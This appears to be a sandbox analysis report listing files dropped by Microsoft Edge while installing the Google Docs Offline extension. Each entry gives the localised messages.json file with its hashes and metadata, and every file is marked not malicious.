MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
